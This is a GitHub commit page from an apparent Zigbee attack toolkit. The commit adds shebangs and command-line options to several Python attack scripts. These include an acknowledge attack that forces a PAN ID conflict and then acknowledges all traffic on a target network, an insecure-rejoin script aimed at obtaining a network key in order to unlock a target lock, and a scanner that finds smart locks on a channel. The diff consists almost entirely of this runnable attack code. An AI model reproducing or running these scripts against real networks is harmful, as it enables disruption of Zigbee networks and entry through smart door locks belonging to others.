Skip to content

Commit 376b6c6

Browse files
author
SteveJM
committed
General Updates
Ensure top level python files are executable. Ensure top level python files identify puthon interpreter. Enhance command line options to allow for greater runtime control and device specification.
1 parent 3babde4 commit 376b6c6

12 files changed

Lines changed: 430 additions & 335 deletions

File tree

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
__pycache__
2+
venv
3+
.vscode

ack_attack.py

Lines changed: 71 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -1,69 +1,71 @@
1-
import os
2-
import sys
3-
sys.path.append(os.getcwd() + "/zigdiggity")
4-
5-
import time
6-
import signal
7-
import argparse
8-
from scapy.layers.dot15d4 import *
9-
from scapy.layers.zigbee import *
10-
11-
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
12-
from zigdiggity.radios.observer_radio import ObserverRadio
13-
from zigdiggity.observers.wireshark_observer import WiresharkObserver
14-
import zigdiggity.crypto.utils as crypto_utils
15-
from zigdiggity.misc.actions import *
16-
from zigdiggity.packets.utils import get_pan_id, get_source
17-
from zigdiggity.interface.components.logo import Logo
18-
19-
parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network')
20-
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
21-
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
22-
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target')
23-
args = parser.parse_args()
24-
25-
logo = Logo()
26-
logo.print()
27-
28-
hardware_radio = RaspbeeRadio("/dev/ttyS0")
29-
radio = ObserverRadio(hardware_radio)
30-
31-
if args.wireshark:
32-
wireshark = WiresharkObserver()
33-
radio.add_observer(wireshark)
34-
35-
def handle_interrupt(signal, frame):
36-
global interrupted
37-
print_notify("Exiting the current script")
38-
interrupted = True
39-
40-
CHANNEL = args.channel
41-
TARGET_EPAN=args.epan
42-
43-
radio.set_channel(CHANNEL)
44-
45-
panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
46-
if panid is None:
47-
print_error("Could not find the PAN ID corresponding to the target network.")
48-
exit(1)
49-
50-
print_info("Performing a PAN ID conflict against the network")
51-
52-
for attempts in range(10):
53-
pan_conflict_by_panid(radio, panid)
54-
time.sleep(2)
55-
next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
56-
if panid != next_panid:
57-
break
58-
if attempts == 9:
59-
print_error("All 10 attempts to perform a PAN ID conflict failed.")
60-
61-
signal.signal(signal.SIGINT, handle_interrupt)
62-
interrupted = False
63-
64-
print_notify("Acking to all the traffic to PAN 0x%04x" % panid)
65-
print_info("Use ctrl+c to stop the attack")
66-
while not interrupted:
67-
radio.receive_and_ack(panid=panid, addr=0x0000)
68-
69-
radio.off()
1+
#!/usr/bin/env python
2+
import os
3+
import sys
4+
sys.path.append(os.getcwd() + "/zigdiggity")
5+
6+
import time
7+
import signal
8+
import argparse
9+
from scapy.layers.dot15d4 import *
10+
from scapy.layers.zigbee import *
11+
12+
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
13+
from zigdiggity.radios.observer_radio import ObserverRadio
14+
from zigdiggity.observers.wireshark_observer import WiresharkObserver
15+
import zigdiggity.crypto.utils as crypto_utils
16+
from zigdiggity.misc.actions import *
17+
from zigdiggity.packets.utils import get_pan_id, get_source
18+
from zigdiggity.interface.components.logo import Logo
19+
20+
parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network')
21+
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
22+
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
23+
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
24+
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target')
25+
args = parser.parse_args()
26+
27+
logo = Logo()
28+
logo.print()
29+
30+
hardware_radio = RaspbeeRadio(args.device)
31+
radio = ObserverRadio(hardware_radio)
32+
33+
if args.wireshark:
34+
wireshark = WiresharkObserver()
35+
radio.add_observer(wireshark)
36+
37+
def handle_interrupt(signal, frame):
38+
global interrupted
39+
print_notify("Exiting the current script")
40+
interrupted = True
41+
42+
CHANNEL = args.channel
43+
TARGET_EPAN=args.epan
44+
45+
radio.set_channel(CHANNEL)
46+
47+
panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
48+
if panid is None:
49+
print_error("Could not find the PAN ID corresponding to the target network.")
50+
exit(1)
51+
52+
print_info("Performing a PAN ID conflict against the network")
53+
54+
for attempts in range(10):
55+
pan_conflict_by_panid(radio, panid)
56+
time.sleep(2)
57+
next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
58+
if panid != next_panid:
59+
break
60+
if attempts == 9:
61+
print_error("All 10 attempts to perform a PAN ID conflict failed.")
62+
63+
signal.signal(signal.SIGINT, handle_interrupt)
64+
interrupted = False
65+
66+
print_notify("Acking to all the traffic to PAN 0x%04x" % panid)
67+
print_info("Use ctrl+c to stop the attack")
68+
while not interrupted:
69+
radio.receive_and_ack(panid=panid, addr=0x0000)
70+
71+
radio.off()

beacon.py

100644100755
Lines changed: 29 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
#!/usr/bin/env python
12
import os
23
import sys
34
sys.path.append(os.getcwd() + "/zigdiggity")
@@ -6,39 +7,52 @@
67
import signal
78
import random
89
import argparse
10+
import hexdump
911
from scapy.layers.dot15d4 import *
1012
from scapy.layers.zigbee import *
1113

1214
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
1315
from zigdiggity.radios.observer_radio import ObserverRadio
14-
from zigdiggity.observers.wireshark_observer import WiresharkObserver
16+
import zigdiggity.observers.utils as observer_utils
1517
from zigdiggity.packets.dot15d4 import beacon_request
1618
from zigdiggity.interface.console import print_notify
1719
from zigdiggity.misc.timer import Timer
1820
from zigdiggity.interface.components.logo import Logo
1921

2022
parser = argparse.ArgumentParser(description='Send a beacon request')
2123
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
24+
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
25+
parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
26+
parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=5,help='response listen timeout')
27+
parser.add_argument('-v','--verbose',action='store_true',dest='verbose',required=False,help='verbose logging')
2228
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
2329
args = parser.parse_args()
2430

2531
logo = Logo()
2632
logo.print()
2733

28-
hardware_radio = RaspbeeRadio("/dev/ttyS0")
34+
hardware_radio = RaspbeeRadio(args.device)
2935
radio = ObserverRadio(hardware_radio)
3036

3137
if args.wireshark:
32-
wireshark = WiresharkObserver()
33-
radio.add_observer(wireshark)
34-
35-
CHANNEL = args.channel
36-
37-
print_notify("Sending the beacon request")
38-
radio.send(beacon_request(random.randint(0,255)))
39-
40-
timer = Timer(5)
41-
while not timer.has_expired():
42-
radio.receive()
43-
44-
radio.off()
38+
observer_utils.register_wireshark(radio)
39+
if args.verbose:
40+
print_notify("Registered Wireshark Observer")
41+
if args.stdout:
42+
observer_utils.register_stdout(radio)
43+
if args.verbose:
44+
print_notify("Registered Stdout Observer")
45+
46+
radio.set_channel(args.channel)
47+
radio.receive()
48+
49+
if args.verbose:
50+
print_notify("Sending the beacon request to channel %d" % radio.get_channel())
51+
52+
try:
53+
timer = Timer(args.timeout)
54+
radio.send_and_retry(beacon_request(random.randint(0,255)))
55+
while not timer.has_expired():
56+
radio.receive()
57+
finally:
58+
radio.off()

find_locks.py

Lines changed: 35 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,35 @@
1-
import os
2-
import sys
3-
sys.path.append(os.getcwd() + "/zigdiggity")
4-
5-
import time
6-
import argparse
7-
from scapy.layers.dot15d4 import *
8-
from scapy.layers.zigbee import *
9-
10-
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
11-
from zigdiggity.radios.observer_radio import ObserverRadio
12-
from zigdiggity.observers.wireshark_observer import WiresharkObserver
13-
from zigdiggity.interface.console import print_notify
14-
import zigdiggity.crypto.utils as crypto_utils
15-
from zigdiggity.misc.actions import *
16-
17-
parser = argparse.ArgumentParser(description='Attempt to find locks on a channel')
18-
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
19-
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
20-
args = parser.parse_args()
21-
22-
hardware_radio = RaspbeeRadio("/dev/ttyS0")
23-
radio = ObserverRadio(hardware_radio)
24-
25-
if args.wireshark:
26-
wireshark = WiresharkObserver()
27-
radio.add_observer(wireshark)
28-
29-
radio.set_channel(args.channel)
30-
print_notify("Current on channel %d" % args.channel)
31-
find_locks(radio)
32-
33-
radio.off()
1+
#!/usr/bin/env python
2+
import os
3+
import sys
4+
sys.path.append(os.getcwd() + "/zigdiggity")
5+
6+
import time
7+
import argparse
8+
from scapy.layers.dot15d4 import *
9+
from scapy.layers.zigbee import *
10+
11+
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
12+
from zigdiggity.radios.observer_radio import ObserverRadio
13+
from zigdiggity.observers.wireshark_observer import WiresharkObserver
14+
from zigdiggity.interface.console import print_notify
15+
import zigdiggity.crypto.utils as crypto_utils
16+
from zigdiggity.misc.actions import *
17+
18+
parser = argparse.ArgumentParser(description='Attempt to find locks on a channel')
19+
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
20+
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
21+
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
22+
args = parser.parse_args()
23+
24+
hardware_radio = RaspbeeRadio(args.device)
25+
radio = ObserverRadio(hardware_radio)
26+
27+
if args.wireshark:
28+
wireshark = WiresharkObserver()
29+
radio.add_observer(wireshark)
30+
31+
radio.set_channel(args.channel)
32+
print_notify("Current on channel %d" % args.channel)
33+
find_locks(radio)
34+
35+
radio.off()

insecure_rejoin.py

Lines changed: 55 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -1,52 +1,55 @@
1-
import os
2-
import sys
3-
sys.path.append(os.getcwd() + "/zigdiggity")
4-
5-
import time
6-
import argparse
7-
from scapy.layers.dot15d4 import *
8-
from scapy.layers.zigbee import *
9-
10-
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
11-
from zigdiggity.radios.observer_radio import ObserverRadio
12-
from zigdiggity.observers.wireshark_observer import WiresharkObserver
13-
import zigdiggity.crypto.utils as crypto_utils
14-
from zigdiggity.misc.actions import *
15-
from zigdiggity.interface.components.logo import Logo
16-
17-
parser = argparse.ArgumentParser(description='Attempt to unlock the target lock')
18-
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
19-
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
20-
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
21-
args = parser.parse_args()
22-
23-
logo = Logo()
24-
logo.print()
25-
26-
hardware_radio = RaspbeeRadio("/dev/ttyS0")
27-
radio = ObserverRadio(hardware_radio)
28-
29-
if args.wireshark:
30-
wireshark = WiresharkObserver()
31-
radio.add_observer(wireshark)
32-
33-
TARGET_EPAN = args.epan
34-
CHANNELS = [args.channel]
35-
36-
start_time = time.time()
37-
for channel in CHANNELS:
38-
39-
radio.set_channel(channel)
40-
41-
panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
42-
if panid is None:
43-
print_error("Could not find the PAN ID corresponding to the target network.")
44-
exit(1)
45-
46-
for attempt in range(3):
47-
key = insecure_rejoin_by_panid(radio, panid, extended_src=0x01020304050607)
48-
if key is not None:
49-
break
50-
51-
radio.off()
52-
print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))
1+
#!/usr/bin/env python
2+
import os
3+
import sys
4+
sys.path.append(os.getcwd() + "/zigdiggity")
5+
6+
import time
7+
import argparse
8+
from scapy.layers.dot15d4 import *
9+
from scapy.layers.zigbee import *
10+
11+
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
12+
from zigdiggity.radios.observer_radio import ObserverRadio
13+
from zigdiggity.observers.wireshark_observer import WiresharkObserver
14+
import zigdiggity.crypto.utils as crypto_utils
15+
from zigdiggity.misc.actions import *
16+
from zigdiggity.interface.components.logo import Logo
17+
18+
parser = argparse.ArgumentParser(description='Attempt to perform an insecure network join')
19+
parser.add_argument('-a','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of rejoin attempts')
20+
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
21+
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
22+
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
23+
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
24+
args = parser.parse_args()
25+
26+
logo = Logo()
27+
logo.print()
28+
29+
hardware_radio = RaspbeeRadio(args.device)
30+
radio = ObserverRadio(hardware_radio)
31+
32+
if args.wireshark:
33+
wireshark = WiresharkObserver()
34+
radio.add_observer(wireshark)
35+
36+
TARGET_EPAN = args.epan
37+
CHANNELS = [args.channel]
38+
39+
start_time = time.time()
40+
for channel in CHANNELS:
41+
42+
radio.set_channel(channel)
43+
44+
panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
45+
if panid is None:
46+
print_error("Could not find the PAN ID corresponding to the target network.")
47+
exit(1)
48+
49+
for attempt in range(args.attempts):
50+
key = insecure_rejoin_by_panid(radio, panid, extended_src=0x01020304050607)
51+
if key is not None:
52+
break
53+
54+
radio.off()
55+
print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))

0 commit comments

Comments
 (0)